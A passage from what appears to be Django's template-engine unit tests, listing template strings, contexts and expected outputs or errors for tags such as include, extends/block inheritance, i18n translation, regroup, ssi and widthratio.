            'ifequal-filter05': ('{% ifequal x|slice:""1""|upper ""A"" %}x{% endifequal %}', {'x': 'aaa'}, 'x'),

            ### IFNOTEQUAL TAG ########################################################
            'ifnotequal01': (""{% ifnotequal a b %}yes{% endifnotequal %}"", {""a"": 1, ""b"": 2}, ""yes""),
            'ifnotequal02': (""{% ifnotequal a b %}yes{% endifnotequal %}"", {""a"": 1, ""b"": 1}, """"),
            'ifnotequal03': (""{% ifnotequal a b %}yes{% else %}no{% endifnotequal %}"", {""a"": 1, ""b"": 2}, ""yes""),
            'ifnotequal04': (""{% ifnotequal a b %}yes{% else %}no{% endifnotequal %}"", {""a"": 1, ""b"": 1}, ""no""),

            ## INCLUDE TAG ###########################################################
            'include01': ('{% include ""basic-syntax01"" %}', {}, ""something cool""),
            'include02': ('{% include ""basic-syntax02"" %}', {'headline': 'Included'}, ""Included""),
            'include03': ('{% include template_name %}', {'template_name': 'basic-syntax02', 'headline': 'Included'}, ""Included""),
            'include04': ('a{% include ""nonexistent"" %}b', {}, (""ab"", ""ab"", template.TemplateDoesNotExist)),
            'include 05': ('template with a space', {}, 'template with a space'),
            'include06': ('{% include ""include 05""%}', {}, 'template with a space'),

            # extra inline context
            'include07': ('{% include ""basic-syntax02"" with headline=""Inline"" %}', {'headline': 'Included'}, 'Inline'),
            'include08': ('{% include headline with headline=""Dynamic"" %}', {'headline': 'basic-syntax02'}, 'Dynamic'),
            'include09': ('{{ first }}--{% include ""basic-syntax03"" with first=second|lower|upper second=first|upper %}--{{ second }}', {'first': 'Ul', 'second': 'lU'}, 'Ul--LU --- UL--lU'),

            # isolated context
            'include10': ('{% include ""basic-syntax03"" only %}', {'first': '1'}, (' --- ', 'INVALID --- INVALID')),
            'include11': ('{% include ""basic-syntax03"" only with second=2 %}', {'first': '1'}, (' --- 2', 'INVALID --- 2')),
            'include12': ('{% include ""basic-syntax03"" with first=1 only %}', {'second': '2'}, ('1 --- ', '1 --- INVALID')),

            # autoescape context
            'include13': ('{% autoescape off %}{% include ""basic-syntax03"" %}{% endautoescape %}', {'first': '&'}, ('& --- ', '& --- INVALID')),
            'include14': ('{% autoescape off %}{% include ""basic-syntax03"" with first=var1 only %}{% endautoescape %}', {'var1': '&'}, ('& --- ', '& --- INVALID')),

            'include-error01': ('{% include ""basic-syntax01"" with %}', {}, template.TemplateSyntaxError),
            'include-error02': ('{% include ""basic-syntax01"" with ""no key"" %}', {}, template.TemplateSyntaxError),
            'include-error03': ('{% include ""basic-syntax01"" with dotted.arg=""error"" %}', {}, template.TemplateSyntaxError),
            'include-error04': ('{% include ""basic-syntax01"" something_random %}', {}, template.TemplateSyntaxError),
            'include-error05': ('{% include ""basic-syntax01"" foo=""duplicate"" foo=""key"" %}', {}, template.TemplateSyntaxError),
            'include-error06': ('{% include ""basic-syntax01"" only only %}', {}, template.TemplateSyntaxError),

            ### INCLUSION ERROR REPORTING #############################################
            'include-fail1': ('{% load bad_tag %}{% badtag %}', {}, RuntimeError),
            'include-fail2': ('{% load broken_tag %}', {}, template.TemplateSyntaxError),
            'include-error07': ('{% include ""include-fail1"" %}', {}, ('', '', RuntimeError)),
            'include-error08': ('{% include ""include-fail2"" %}', {}, ('', '', template.TemplateSyntaxError)),
            'include-error09': ('{% include failed_include %}', {'failed_include': 'include-fail1'}, ('', '', RuntimeError)),
            'include-error10': ('{% include failed_include %}', {'failed_include': 'include-fail2'}, ('', '', template.TemplateSyntaxError)),


            ### NAMED ENDBLOCKS #######################################################

            # Basic test
            'namedendblocks01': (""1{% block first %}_{% block second %}2{% endblock second %}_{% endblock first %}3"", {}, '1_2_3'),

            # Unbalanced blocks
            'namedendblocks02': (""1{% block first %}_{% block second %}2{% endblock first %}_{% endblock second %}3"", {}, template.TemplateSyntaxError),
            'namedendblocks03': (""1{% block first %}_{% block second %}2{% endblock %}_{% endblock second %}3"", {}, template.TemplateSyntaxError),
            'namedendblocks04': (""1{% block first %}_{% block second %}2{% endblock second %}_{% endblock third %}3"", {}, template.TemplateSyntaxError),
            'namedendblocks05': (""1{% block first %}_{% block second %}2{% endblock first %}"", {}, template.TemplateSyntaxError),

            # Mixed named and unnamed endblocks
            'namedendblocks06': (""1{% block first %}_{% block second %}2{% endblock %}_{% endblock first %}3"", {}, '1_2_3'),
            'namedendblocks07': (""1{% block first %}_{% block second %}2{% endblock second %}_{% endblock %}3"", {}, '1_2_3'),

            ### INHERITANCE ###########################################################

            # Standard template with no inheritance
            'inheritance01': (""1{% block first %}&{% endblock %}3{% block second %}_{% endblock %}"", {}, '1&3_'),

            # Standard two-level inheritance
            'inheritance02': (""{% extends 'inheritance01' %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {}, '1234'),

            # Three-level with no redefinitions on third level
            'inheritance03': (""{% extends 'inheritance02' %}"", {}, '1234'),

            # Two-level with no redefinitions on second level
            'inheritance04': (""{% extends 'inheritance01' %}"", {}, '1&3_'),

            # Two-level with double quotes instead of single quotes
            'inheritance05': ('{% extends ""inheritance02"" %}', {}, '1234'),

            # Three-level with variable parent-template name
            'inheritance06': (""{% extends foo %}"", {'foo': 'inheritance02'}, '1234'),

            # Two-level with one block defined, one block not defined
            'inheritance07': (""{% extends 'inheritance01' %}{% block second %}5{% endblock %}"", {}, '1&35'),

            # Three-level with one block defined on this level, two blocks defined next level
            'inheritance08': (""{% extends 'inheritance02' %}{% block second %}5{% endblock %}"", {}, '1235'),

            # Three-level with second and third levels blank
            'inheritance09': (""{% extends 'inheritance04' %}"", {}, '1&3_'),

            # Three-level with space NOT in a block -- should be ignored
            'inheritance10': (""{% extends 'inheritance04' %}      "", {}, '1&3_'),

            # Three-level with both blocks defined on this level, but none on second level
            'inheritance11': (""{% extends 'inheritance04' %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {}, '1234'),

            # Three-level with this level providing one and second level providing the other
            'inheritance12': (""{% extends 'inheritance07' %}{% block first %}2{% endblock %}"", {}, '1235'),

            # Three-level with this level overriding second level
            'inheritance13': (""{% extends 'inheritance02' %}{% block first %}a{% endblock %}{% block second %}b{% endblock %}"", {}, '1a3b'),

            # A block defined only in a child template shouldn't be displayed
            'inheritance14': (""{% extends 'inheritance01' %}{% block newblock %}NO DISPLAY{% endblock %}"", {}, '1&3_'),

            # A block within another block
            'inheritance15': (""{% extends 'inheritance01' %}{% block first %}2{% block inner %}inner{% endblock %}{% endblock %}"", {}, '12inner3_'),

            # A block within another block (level 2)
            'inheritance16': (""{% extends 'inheritance15' %}{% block inner %}out{% endblock %}"", {}, '12out3_'),

            # {% load %} tag (parent -- setup for exception04)
            'inheritance17': (""{% load testtags %}{% block first %}1234{% endblock %}"", {}, '1234'),

            # {% load %} tag (standard usage, without inheritance)
            'inheritance18': (""{% load testtags %}{% echo this that theother %}5678"", {}, 'this that theother5678'),

            # {% load %} tag (within a child template)
            'inheritance19': (""{% extends 'inheritance01' %}{% block first %}{% load testtags %}{% echo 400 %}5678{% endblock %}"", {}, '140056783_'),

            # Two-level inheritance with {{ block.super }}
            'inheritance20': (""{% extends 'inheritance01' %}{% block first %}{{ block.super }}a{% endblock %}"", {}, '1&a3_'),

            # Three-level inheritance with {{ block.super }} from parent
            'inheritance21': (""{% extends 'inheritance02' %}{% block first %}{{ block.super }}a{% endblock %}"", {}, '12a34'),

            # Three-level inheritance with {{ block.super }} from grandparent
            'inheritance22': (""{% extends 'inheritance04' %}{% block first %}{{ block.super }}a{% endblock %}"", {}, '1&a3_'),

            # Three-level inheritance with {{ block.super }} from parent and grandparent
            'inheritance23': (""{% extends 'inheritance20' %}{% block first %}{{ block.super }}b{% endblock %}"", {}, '1&ab3_'),

            # Inheritance from local context without use of template loader
            'inheritance24': (""{% extends context_template %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {'context_template': template.Template(""1{% block first %}_{% endblock %}3{% block second %}_{% endblock %}"")}, '1234'),

            # Inheritance from local context with variable parent template
            'inheritance25': (""{% extends context_template.1 %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {'context_template': [template.Template(""Wrong""), template.Template(""1{% block first %}_{% endblock %}3{% block second %}_{% endblock %}"")]}, '1234'),

            # Set up a base template to extend
            'inheritance26': (""no tags"", {}, 'no tags'),

            # Inheritance from a template that doesn't have any blocks
            'inheritance27': (""{% extends 'inheritance26' %}"", {}, 'no tags'),

            # Set up a base template with a space in it.
            'inheritance 28': (""{% block first %}!{% endblock %}"", {}, '!'),

            # Inheritance from a template with a space in its name should work.
            'inheritance29': (""{% extends 'inheritance 28' %}"", {}, '!'),

            # Base template, putting block in a conditional {% if %} tag
            'inheritance30': (""1{% if optional %}{% block opt %}2{% endblock %}{% endif %}3"", {'optional': True}, '123'),

            # Inherit from a template with block wrapped in an {% if %} tag (in parent), still gets overridden
            'inheritance31': (""{% extends 'inheritance30' %}{% block opt %}two{% endblock %}"", {'optional': True}, '1two3'),
            'inheritance32': (""{% extends 'inheritance30' %}{% block opt %}two{% endblock %}"", {}, '13'),

            # Base template, putting block in a conditional {% ifequal %} tag
            'inheritance33': (""1{% ifequal optional 1 %}{% block opt %}2{% endblock %}{% endifequal %}3"", {'optional': 1}, '123'),

            # Inherit from a template with block wrapped in an {% ifequal %} tag (in parent), still gets overridden
            'inheritance34': (""{% extends 'inheritance33' %}{% block opt %}two{% endblock %}"", {'optional': 1}, '1two3'),
            'inheritance35': (""{% extends 'inheritance33' %}{% block opt %}two{% endblock %}"", {'optional': 2}, '13'),

            # Base template, putting block in a {% for %} tag
            'inheritance36': (""{% for n in numbers %}_{% block opt %}{{ n }}{% endblock %}{% endfor %}_"", {'numbers': '123'}, '_1_2_3_'),

            # Inherit from a template with block wrapped in an {% for %} tag (in parent), still gets overridden
            'inheritance37': (""{% extends 'inheritance36' %}{% block opt %}X{% endblock %}"", {'numbers': '123'}, '_X_X_X_'),
            'inheritance38': (""{% extends 'inheritance36' %}{% block opt %}X{% endblock %}"", {}, '_'),

            # The super block will still be found.
            'inheritance39': (""{% extends 'inheritance30' %}{% block opt %}new{{ block.super }}{% endblock %}"", {'optional': True}, '1new23'),
            'inheritance40': (""{% extends 'inheritance33' %}{% block opt %}new{{ block.super }}{% endblock %}"", {'optional': 1}, '1new23'),
            'inheritance41': (""{% extends 'inheritance36' %}{% block opt %}new{{ block.super }}{% endblock %}"", {'numbers': '123'}, '_new1_new2_new3_'),

            # Expression starting and ending with a quote
            'inheritance42': (""{% extends 'inheritance02'|cut:' ' %}"", {}, '1234'),

            ### LOADING TAG LIBRARIES #################################################
            'load01': (""{% load testtags subpackage.echo %}{% echo test %} {% echo2 \""test\"" %}"", {}, ""test test""),
            'load02': (""{% load subpackage.echo %}{% echo2 \""test\"" %}"", {}, ""test""),

            # {% load %} tag, importing individual tags
            'load03': (""{% load echo from testtags %}{% echo this that theother %}"", {}, 'this that theother'),
            'load04': (""{% load echo other_echo from testtags %}{% echo this that theother %} {% other_echo and another thing %}"", {}, 'this that theother and another thing'),
            'load05': (""{% load echo upper from testtags %}{% echo this that theother %} {{ statement|upper }}"", {'statement': 'not shouting'}, 'this that theother NOT SHOUTING'),
            'load06': (""{% load echo2 from subpackage.echo %}{% echo2 \""test\"" %}"", {}, ""test""),

            # {% load %} tag errors
            'load07': (""{% load echo other_echo bad_tag from testtags %}"", {}, template.TemplateSyntaxError),
            'load08': (""{% load echo other_echo bad_tag from %}"", {}, template.TemplateSyntaxError),
            'load09': (""{% load from testtags %}"", {}, template.TemplateSyntaxError),
            'load10': (""{% load echo from bad_library %}"", {}, template.TemplateSyntaxError),
            'load11': (""{% load subpackage.echo_invalid %}"", {}, template.TemplateSyntaxError),
            'load12': (""{% load subpackage.missing %}"", {}, template.TemplateSyntaxError),

            ### I18N ##################################################################

            # {% spaceless %} tag
            'spaceless01': (""{% spaceless %} <b>    <i> text </i>    </b> {% endspaceless %}"", {}, ""<b><i> text </i></b>""),
            'spaceless02': (""{% spaceless %} <b> \n <i> text </i> \n </b> {% endspaceless %}"", {}, ""<b><i> text </i></b>""),
            'spaceless03': (""{% spaceless %}<b><i>text</i></b>{% endspaceless %}"", {}, ""<b><i>text</i></b>""),
            'spaceless04': (""{% spaceless %}<b>   <i>{{ text }}</i>  </b>{% endspaceless %}"", {'text' : 'This & that'}, ""<b><i>This &amp; that</i></b>""),
            'spaceless05': (""{% autoescape off %}{% spaceless %}<b>   <i>{{ text }}</i>  </b>{% endspaceless %}{% endautoescape %}"", {'text' : 'This & that'}, ""<b><i>This & that</i></b>""),
            'spaceless06': (""{% spaceless %}<b>   <i>{{ text|safe }}</i>  </b>{% endspaceless %}"", {'text' : 'This & that'}, ""<b><i>This & that</i></b>""),

            # simple translation of a string delimited by '
            'i18n01': (""{% load i18n %}{% trans 'xxxyyyxxx' %}"", {}, ""xxxyyyxxx""),

            # simple translation of a string delimited by ""
            'i18n02': ('{% load i18n %}{% trans ""xxxyyyxxx"" %}', {}, ""xxxyyyxxx""),

            # simple translation of a variable
            'i18n03': ('{% load i18n %}{% blocktrans %}{{ anton }}{% endblocktrans %}', {'anton': b'\xc3\x85'}, ""Å""),

            # simple translation of a variable and filter
            'i18n04': ('{% load i18n %}{% blocktrans with berta=anton|lower %}{{ berta }}{% endblocktrans %}', {'anton': b'\xc3\x85'}, 'å'),
            'legacyi18n04': ('{% load i18n %}{% blocktrans with anton|lower as berta %}{{ berta }}{% endblocktrans %}', {'anton': b'\xc3\x85'}, 'å'),

            # simple translation of a string with interpolation
            'i18n05': ('{% load i18n %}{% blocktrans %}xxx{{ anton }}xxx{% endblocktrans %}', {'anton': 'yyy'}, ""xxxyyyxxx""),

            # simple translation of a string to german
            'i18n06': ('{% load i18n %}{% trans ""Page not found"" %}', {'LANGUAGE_CODE': 'de'}, ""Seite nicht gefunden""),

            # translation of singular form
            'i18n07': ('{% load i18n %}{% blocktrans count counter=number %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 1}, ""singular""),
            'legacyi18n07': ('{% load i18n %}{% blocktrans count number as counter %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 1}, ""singular""),

            # translation of plural form
            'i18n08': ('{% load i18n %}{% blocktrans count number as counter %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 2}, ""2 plural""),
            'legacyi18n08': ('{% load i18n %}{% blocktrans count counter=number %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 2}, ""2 plural""),

            # simple non-translation (only marking) of a string to german
            'i18n09': ('{% load i18n %}{% trans ""Page not found"" noop %}', {'LANGUAGE_CODE': 'de'}, ""Page not found""),

            # translation of a variable with a translated filter
            'i18n10': ('{{ bool|yesno:_(""yes,no,maybe"") }}', {'bool': True, 'LANGUAGE_CODE': 'de'}, 'Ja'),

            # translation of a variable with a non-translated filter
            'i18n11': ('{{ bool|yesno:""ja,nein"" }}', {'bool': True}, 'ja'),

            # usage of the get_available_languages tag
            'i18n12': ('{% load i18n %}{% get_available_languages as langs %}{% for lang in langs %}{% ifequal lang.0 ""de"" %}{{ lang.0 }}{% endifequal %}{% endfor %}', {}, 'de'),

            # translation of constant strings
            'i18n13': ('{{ _(""Password"") }}', {'LANGUAGE_CODE': 'de'}, 'Passwort'),
            'i18n14': ('{% cycle ""foo"" _(""Password"") _(\'Password\') as c %} {% cycle c %} {% cycle c %}', {'LANGUAGE_CODE': 'de'}, 'foo Passwort Passwort'),
            'i18n15': ('{{ absent|default:_(""Password"") }}', {'LANGUAGE_CODE': 'de', 'absent': """"}, 'Passwort'),
            'i18n16': ('{{ _(""<"") }}', {'LANGUAGE_CODE': 'de'}, '<'),

            # Escaping inside blocktrans and trans works as if it was directly in the
            # template.
            'i18n17': ('{% load i18n %}{% blocktrans with berta=anton|escape %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),
            'i18n18': ('{% load i18n %}{% blocktrans with berta=anton|force_escape %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),
            'i18n19': ('{% load i18n %}{% blocktrans %}{{ andrew }}{% endblocktrans %}', {'andrew': 'a & b'}, 'a &amp; b'),
            'i18n20': ('{% load i18n %}{% trans andrew %}', {'andrew': 'a & b'}, 'a &amp; b'),
            'i18n21': ('{% load i18n %}{% blocktrans %}{{ andrew }}{% endblocktrans %}', {'andrew': mark_safe('a & b')}, 'a & b'),
            'i18n22': ('{% load i18n %}{% trans andrew %}', {'andrew': mark_safe('a & b')}, 'a & b'),
            'legacyi18n17': ('{% load i18n %}{% blocktrans with anton|escape as berta %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),
            'legacyi18n18': ('{% load i18n %}{% blocktrans with anton|force_escape as berta %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),

            # Use filters with the {% trans %} tag, #5972
            'i18n23': ('{% load i18n %}{% trans ""Page not found""|capfirst|slice:""6:"" %}', {'LANGUAGE_CODE': 'de'}, 'nicht gefunden'),
            'i18n24': (""{% load i18n %}{% trans 'Page not found'|upper %}"", {'LANGUAGE_CODE': 'de'}, 'SEITE NICHT GEFUNDEN'),
            'i18n25': ('{% load i18n %}{% trans somevar|upper %}', {'somevar': 'Page not found', 'LANGUAGE_CODE': 'de'}, 'SEITE NICHT GEFUNDEN'),

            # translation of plural form with extra field in singular form (#13568)
            'i18n26': ('{% load i18n %}{% blocktrans with extra_field=myextra_field count counter=number %}singular {{ extra_field }}{% plural %}plural{% endblocktrans %}', {'number': 1, 'myextra_field': 'test'}, ""singular test""),
            'legacyi18n26': ('{% load i18n %}{% blocktrans with myextra_field as extra_field count number as counter %}singular {{ extra_field }}{% plural %}plural{% endblocktrans %}', {'number': 1, 'myextra_field': 'test'}, ""singular test""),

            # translation of singular form in russian (#14126)
            'i18n27': ('{% load i18n %}{% blocktrans count counter=number %}{{ counter }} result{% plural %}{{ counter }} results{% endblocktrans %}', {'number': 1, 'LANGUAGE_CODE': 'ru'}, '1 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442'),
            'legacyi18n27': ('{% load i18n %}{% blocktrans count number as counter %}{{ counter }} result{% plural %}{{ counter }} results{% endblocktrans %}', {'number': 1, 'LANGUAGE_CODE': 'ru'}, '1 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442'),

            # simple translation of multiple variables
            'i18n28': ('{% load i18n %}{% blocktrans with a=anton b=berta %}{{ a }} + {{ b }}{% endblocktrans %}', {'anton': 'α', 'berta': 'β'}, 'α + β'),
            'legacyi18n28': ('{% load i18n %}{% blocktrans with anton as a and berta as b %}{{ a }} + {{ b }}{% endblocktrans %}', {'anton': 'α', 'berta': 'β'}, 'α + β'),

            # retrieving language information
            'i18n28_2': ('{% load i18n %}{% get_language_info for ""de"" as l %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}', {}, 'de: German/Deutsch bidi=False'),
            'i18n29': ('{% load i18n %}{% get_language_info for LANGUAGE_CODE as l %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}', {'LANGUAGE_CODE': 'fi'}, 'fi: Finnish/suomi bidi=False'),
            'i18n30': ('{% load i18n %}{% get_language_info_list for langcodes as langs %}{% for l in langs %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}; {% endfor %}', {'langcodes': ['it', 'no']}, 'it: Italian/italiano bidi=False; no: Norwegian/norsk bidi=False; '),
            'i18n31': ('{% load i18n %}{% get_language_info_list for langcodes as langs %}{% for l in langs %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}; {% endfor %}', {'langcodes': (('sl', 'Slovenian'), ('fa', 'Persian'))}, 'sl: Slovenian/Sloven\u0161\u010dina bidi=False; fa: Persian/\u0641\u0627\u0631\u0633\u06cc bidi=True; '),
            'i18n32': ('{% load i18n %}{{ ""hu""|language_name }} {{ ""hu""|language_name_local }} {{ ""hu""|language_bidi }}', {}, 'Hungarian Magyar False'),
            'i18n33': ('{% load i18n %}{{ langcode|language_name }} {{ langcode|language_name_local }} {{ langcode|language_bidi }}', {'langcode': 'nl'}, 'Dutch Nederlands False'),

            # blocktrans handling of variables which are not in the context.
            # this should work as if blocktrans was not there (bug #19915)
            'i18n34': ('{% load i18n %}{% blocktrans %}{{ missing }}{% endblocktrans %}', {}, ('', 'INVALID')),
            'i18n34_2': (""{% load i18n %}{% blocktrans with a='α' %}{{ missing }}{% endblocktrans %}"", {}, ('', 'INVALID')),
            'i18n34_3': ('{% load i18n %}{% blocktrans with a=anton %}{{ missing }}{% endblocktrans %}', {'anton': 'α'}, ('', 'INVALID')),

            # trans tag with as var
            'i18n35': ('{% load i18n %}{% trans ""Page not found"" as page_not_found %}{{ page_not_found }}', {'LANGUAGE_CODE': 'de'}, ""Seite nicht gefunden""),
            'i18n36': ('{% load i18n %}{% trans ""Page not found"" noop as page_not_found %}{{ page_not_found }}', {'LANGUAGE_CODE': 'de'}, ""Page not found""),
            'i18n36': ('{% load i18n %}{% trans ""Page not found"" as page_not_found noop %}{{ page_not_found }}', {'LANGUAGE_CODE': 'de'}, ""Page not found""),
            'i18n37': ('{% load i18n %}{% trans ""Page not found"" as page_not_found %}{% blocktrans %}Error: {{ page_not_found }}{% endblocktrans %}', {'LANGUAGE_CODE': 'de'}, ""Error: Seite nicht gefunden""),

            # Test whitespace in filter arguments
            'i18n38': ('{% load i18n custom %}{% get_language_info for ""de""|noop:""x y"" as l %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}', {}, 'de: German/Deutsch bidi=False'),
            'i18n38_2': ('{% load i18n custom %}{% get_language_info_list for langcodes|noop:""x y"" as langs %}{% for l in langs %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}; {% endfor %}', {'langcodes': ['it', 'no']}, 'it: Italian/italiano bidi=False; no: Norwegian/norsk bidi=False; '),

            ### HANDLING OF TEMPLATE_STRING_IF_INVALID ###################################

            'invalidstr01': ('{{ var|default:""Foo"" }}', {}, ('Foo','INVALID')),
            'invalidstr02': ('{{ var|default_if_none:""Foo"" }}', {}, ('','INVALID')),
            'invalidstr03': ('{% for v in var %}({{ v }}){% endfor %}', {}, ''),
            'invalidstr04': ('{% if var %}Yes{% else %}No{% endif %}', {}, 'No'),
            'invalidstr04_2': ('{% if var|default:""Foo"" %}Yes{% else %}No{% endif %}', {}, 'Yes'),
            'invalidstr05': ('{{ var }}', {}, ('', ('INVALID %s', 'var'))),
            'invalidstr06': ('{{ var.prop }}', {'var': {}}, ('', ('INVALID %s', 'var.prop'))),

            ### MULTILINE #############################################################

            'multiline01': (""""""
                            Hello,
                            boys.
                            How
                            are
                            you
                            gentlemen.
                            """""",
                            {},
                            """"""
                            Hello,
                            boys.
                            How
                            are
                            you
                            gentlemen.
                            """"""),

            ### REGROUP TAG ###########################################################
            'regroup01': ('{% regroup data by bar as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.foo }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {'data': [ {'foo':'c', 'bar':1},
                                     {'foo':'d', 'bar':1},
                                     {'foo':'a', 'bar':2},
                                     {'foo':'b', 'bar':2},
                                     {'foo':'x', 'bar':3}  ]},
                          '1:cd,2:ab,3:x,'),

            # Test for silent failure when target variable isn't found
            'regroup02': ('{% regroup data by bar as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.foo }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {}, ''),

            # Regression tests for #17675
            # The date template filter has expects_localtime = True
            'regroup03': ('{% regroup data by at|date:""m"" as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.at|date:""d"" }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {'data': [{'at': date(2012, 2, 14)},
                                    {'at': date(2012, 2, 28)},
                                    {'at': date(2012, 7, 4)}]},
                          '02:1428,07:04,'),
            # The join template filter has needs_autoescape = True
            'regroup04': ('{% regroup data by bar|join:"""" as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.foo|first }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {'data': [{'foo': 'x', 'bar': ['ab', 'c']},
                                    {'foo': 'y', 'bar': ['a', 'bc']},
                                    {'foo': 'z', 'bar': ['a', 'd']}]},
                          'abc:xy,ad:z,'),

            # Test syntax
            'regroup05': ('{% regroup data by bar as %}', {},
                           template.TemplateSyntaxError),
            'regroup06': ('{% regroup data by bar thisaintright grouped %}', {},
                           template.TemplateSyntaxError),
            'regroup07': ('{% regroup data thisaintright bar as grouped %}', {},
                           template.TemplateSyntaxError),
            'regroup08': ('{% regroup data by bar as grouped toomanyargs %}', {},
                           template.TemplateSyntaxError),

            ### SSI TAG ########################################################

            # Test normal behavior
            'ssi01': ('{%% ssi ""%s"" %%}' % os.path.join(basedir, 'templates', 'ssi_include.html'), {}, 'This is for testing an ssi include. {{ test }}\n'),
            'ssi02': ('{%% ssi ""%s"" %%}' % os.path.join(basedir, 'not_here'), {}, ''),
            'ssi03': (""{%% ssi '%s' %%}"" % os.path.join(basedir, 'not_here'), {}, ''),

            # Test passing as a variable
            'ssi04': ('{% load ssi from future %}{% ssi ssi_file %}', {'ssi_file': os.path.join(basedir, 'templates', 'ssi_include.html')}, 'This is for testing an ssi include. {{ test }}\n'),
            'ssi05': ('{% load ssi from future %}{% ssi ssi_file %}', {'ssi_file': 'no_file'}, ''),

            # Test parsed output
            'ssi06': ('{%% ssi ""%s"" parsed %%}' % os.path.join(basedir, 'templates', 'ssi_include.html'), {'test': 'Look ma! It parsed!'}, 'This is for testing an ssi include. Look ma! It parsed!\n'),
            'ssi07': ('{%% ssi ""%s"" parsed %%}' % os.path.join(basedir, 'not_here'), {'test': 'Look ma! It parsed!'}, ''),

            # Test space in file name
            'ssi08': ('{%% ssi ""%s"" %%}' % os.path.join(basedir, 'templates', 'ssi include with spaces.html'), {}, 'This is for testing an ssi include with spaces in its name. {{ test }}\n'),
            'ssi09': ('{%% ssi ""%s"" parsed %%}' % os.path.join(basedir, 'templates', 'ssi include with spaces.html'), {'test': 'Look ma! It parsed!'}, 'This is for testing an ssi include with spaces in its name. Look ma! It parsed!\n'),

            ### TEMPLATETAG TAG #######################################################
            'templatetag01': ('{% templatetag openblock %}', {}, '{%'),
            'templatetag02': ('{% templatetag closeblock %}', {}, '%}'),
            'templatetag03': ('{% templatetag openvariable %}', {}, '{{'),
            'templatetag04': ('{% templatetag closevariable %}', {}, '}}'),
            'templatetag05': ('{% templatetag %}', {}, template.TemplateSyntaxError),
            'templatetag06': ('{% templatetag foo %}', {}, template.TemplateSyntaxError),
            'templatetag07': ('{% templatetag openbrace %}', {}, '{'),
            'templatetag08': ('{% templatetag closebrace %}', {}, '}'),
            'templatetag09': ('{% templatetag openbrace %}{% templatetag openbrace %}', {}, '{{'),
            'templatetag10': ('{% templatetag closebrace %}{% templatetag closebrace %}', {}, '}}'),
            'templatetag11': ('{% templatetag opencomment %}', {}, '{#'),
            'templatetag12': ('{% templatetag closecomment %}', {}, '#}'),

            # Simple tags with customized names
            'simpletag-renamed01': ('{% load custom %}{% minusone 7 %}', {}, '6'),
            'simpletag-renamed02': ('{% load custom %}{% minustwo 7 %}', {}, '5'),
            'simpletag-renamed03': ('{% load custom %}{% minustwo_overridden_name 7 %}', {}, template.TemplateSyntaxError),

            ### WIDTHRATIO TAG ########################################################
            'widthratio01': ('{% widthratio a b 0 %}', {'a':50,'b':100}, '0'),
            'widthratio02': ('{% widthratio a b 100 %}', {'a':0,'b':0}, '0'),
            'widthratio03': ('{% widthratio a b 100 %}', {'a':0,'b':100}, '0'),
            'widthratio04': ('{% widthratio a b 100 %}', {'a':50,'b':100}, '50'),
            'widthratio05': ('{% widthratio a b 100 %}', {'a':100,'b':100}, '100'),

            # 62.5 should round to 63 on Python 2 and 62 on Python 3
            # See http://docs.python.org/py3k/whatsnew/3.0.html
            'widthratio06': ('{% widthratio a b 100 %}', {'a':50,'b':80}, '62' if six.PY3 else '63'),

            # 71.4 should round to 71
            'widthratio07': ('{% widthratio a b 100 %}', {'a':50,'b':70}, '71'),

            # Raise exception if we don't have 3 args, last one an integer
            'widthratio08': ('{% widthratio %}', {}, template.TemplateSyntaxError),
            'widthratio09': ('{% widthratio a b %}', {'a':50,'b':100}, template.TemplateSyntaxError),
            'widthratio10': ('{% widthratio a b 100.0 %}', {'a':50,'b':100}, '50'),

            # #10043: widthratio should allow max_width to be a variable
            'widthratio11': ('{% widthratio a b c %}', {'a':50,'b':100, 'c': 100}, '50'),

            # #18739: widthratio should handle None args consistently with non-numerics
            'widthratio12a': ('{% widthratio a b c %}', {'a':'a','b':100,'c':100}, ''),
            'widthratio12b': ('{% widthratio a b c %}', {'a':None,'b':100,'c':100}, ''),
            'widthratio13a': ('{% widthratio a b c %}', {'a':0,'b':'b','c':100}, ''),
            'widthratio13b': ('{% widthratio a b c %}', {'a':0,'b':None,'c':100}, ''),
            'widthratio14a': ('{% widthratio a b c %}', {'a':0,'b':100,'c':'c'}, template.TemplateSyntaxError),
            'widthratio14b': ('{% widthratio a b c %}', {'a':0,'b':100,'c':None}, template.TemplateSyntaxError),

            # Test whitespace in filter argument
            'widthratio15': ('{% load custom %}{% widthratio a|noop:""x y"" b 0 %}', {'a':50,'b':100}, '0'),

            ### WITH TAG ########################################################
            'with01': ('{% with key=dict.key %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, '50'),
